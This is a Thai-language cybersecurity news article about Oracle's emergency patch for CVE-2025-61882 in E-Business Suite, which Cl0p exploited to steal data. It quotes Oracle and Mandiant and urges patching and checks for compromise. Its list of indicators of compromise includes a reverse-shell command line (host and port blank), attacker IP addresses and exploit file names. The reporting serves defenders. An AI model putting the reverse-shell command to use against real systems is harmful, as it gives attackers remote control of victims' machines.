วันที่ 7 ตุลาคม 2568

Oracle ออกแพตช์ฉุกเฉินแก้ไขช่องโหว่ CVE-2025-61882 หลังกลุ่ม Cl0p ใช้โจมตีขโมยข้อมูล

Oracle ได้ออกการอัปเดตความปลอดภัยแบบเร่งด่วนเพื่อแก้ไขช่องโหว่ความปลอดภัยที่ถูกจัดว่า ขั้นร้ายแรง (Critical) ในระบบ Oracle E-Business Suite (EBS) โดยบริษัทระบุอย่างชัดเจนว่าช่องโหว่นี้ถูกใช้โจมตีจริงในเหตุการณ์ขโมยข้อมูลล่าสุดที่เกี่ยวข้องกับกลุ่มแรนซัมแวร์ชื่อดังอย่าง Cl0p

รายละเอียดทางเทคนิคของช่องโหว่ (CVE-2025-61882)

ช่องโหว่นี้มีรหัสติดตามว่า CVE-2025-61882 และได้รับคะแนนความรุนแรง CVSS: 9.8 ซึ่งถือเป็นระดับสูงสุด บ่งชี้ถึงภัยคุกคามที่รุนแรงมาก

กลไกการโจมตี:

- ช่องโหว่นี้เป็นบั๊กที่ยังไม่ได้มีการระบุรายละเอียดแน่ชัด แต่สามารถเปิดโอกาสให้ผู้โจมตีที่ไม่ได้รับการยืนยันตัวตน (unauthenticated) และสามารถเข้าถึงเครือข่ายผ่าน HTTP เข้ามาควบคุมส่วนประกอบ Oracle Concurrent Processing ได้

- Oracle ระบุในคำแนะนำว่า “ช่องโหว่นี้สามารถถูกโจมตีจากระยะไกลได้โดยไม่ต้องล็อกอิน หรือใช้ชื่อผู้ใช้และรหัสผ่าน”
- หากถูกโจมตีสำเร็จ ช่องโหว่นี้อาจทำให้เกิดการรันโค้ดจากระยะไกล (Remote Code Execution) ได้

Rob Duhart หัวหน้าเจ้าหน้าที่ความปลอดภัยของ Oracle กล่าวว่าบริษัทได้ออกแพตช์สำหรับ CVE-2025-61882 เพื่อ “เพิ่มการป้องกันจากการโจมตีเพิ่มเติมที่ถูกค้นพบระหว่างกระบวนการสืบสวน”

IoCs และการเชื่อมโยงกับกลุ่มแฮกเกอร์

Oracle ยังได้เปิดเผยตัวบ่งชี้การถูกบุกรุก (Indicators of Compromise – IoCs) ซึ่งเป็นหลักฐานสำคัญที่ชี้ถึงการโจมตีจริงและกลุ่มที่เกี่ยวข้อง โดยบ่งชี้ถึงความเป็นไปได้ที่กลุ่ม Scattered LAPSUS$ Hunters จะมีส่วนเกี่ยวข้องกับการโจมตีครั้งนี้ด้วย

IoCs ที่ควรเฝ้าระวัง:

- ที่อยู่ IP ที่เกี่ยวข้อง:
  - 200.107.207[.]26 (พบการใช้งานคำสั่ง GET และ POST ที่อาจเป็นอันตราย)
  - 185.181.60[.]11 (พบการใช้งานคำสั่ง GET และ POST ที่อาจเป็นอันตราย)
- คำสั่งอันตราย:
  - sh -c /bin/bash -i >& /dev/tcp// 0>&1 (คำสั่งสร้างการเชื่อมต่อ TCP ออกภายนอก ผ่านพอร์ตเฉพาะ หรือที่เรียกว่า Reverse Shell)
- ชื่อไฟล์/เครื่องมือที่ถูกใช้:
  - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
  - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py
  - oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py

การโจมตีในวงกว้างโดย Cl0p

ข่าวการค้นพบช่องโหว่แบบ Zero-day ของ Oracle นี้เกิดขึ้นเพียงไม่กี่วันหลังจากมีรายงานการโจมตีครั้งใหม่ที่คาดว่าเป็นฝีมือของกลุ่มแรนซัมแวร์ Cl0p ซึ่งมุ่งเป้าไปที่ Oracle E-Business Suite โดยบริษัท Mandiant (ในเครือของ Google) ได้ระบุว่าการโจมตีนี้เป็น “แคมเปญอีเมลจำนวนมาก” ที่ส่งออกจากบัญชีที่ถูกแฮ็กหลายร้อยบัญชี

Charles Carmakal ประธานเจ้าหน้าที่เทคโนโลยีของ Mandiant ภายใต้ Google Cloud ได้ให้ข้อมูลเพิ่มเติมบน LinkedIn ว่า

- Cl0p ใช้ช่องโหว่หลายจุดใน Oracle EBS เพื่อขโมยข้อมูลจำนวนมากจากเหยื่อหลายรายในช่วงเดือนสิงหาคม 2025
- มีการใช้ช่องโหว่หลายรายการในการโจมตี ทั้งช่องโหว่ที่ได้รับการแก้ไขแล้วในอัปเดตเดือนกรกฎาคม 2025 และช่องโหว่ที่เพิ่งถูกแพตช์ไปเมื่อสุดสัปดาห์นี้ (CVE-2025-61882)

ข้อควรปฏิบัติเร่งด่วน:

Carmakal ได้เตือนองค์กรที่ใช้งานระบบนี้ว่า “จากการที่ช่องโหว่นี้ถูกโจมตีในวงกว้างแบบ zero-day ไปแล้ว (และคาดว่าจะมีการโจมตีซ้ำจากกลุ่มอื่น ๆ ต่อไป) องค์กรควรตรวจสอบให้แน่ชัดว่าระบบของตนเคยถูกบุกรุกไปแล้วหรือไม่ แม้ว่าจะได้ติดตั้งแพตช์ไปแล้วก็ตาม”

คำแนะนำคือ องค์กรที่ใช้งาน Oracle E-Business Suite ต้องติดตั้งแพตช์ฉุกเฉินนี้ทันที และทำการตรวจสอบระบบอย่างละเอียดโดยใช้ IoCs ที่ Oracle เปิดเผยมาเพื่อยืนยันว่าไม่มีการฝังตัวของแฮกเกอร์ในระบบแล้ว

ข้อมูลอ้างอิง

Oct 6, 2025, By Ravie Lakshmanan
https://thehackernews.com/2025/10/oracle-rushes-patch-for-cve-2025-61882.html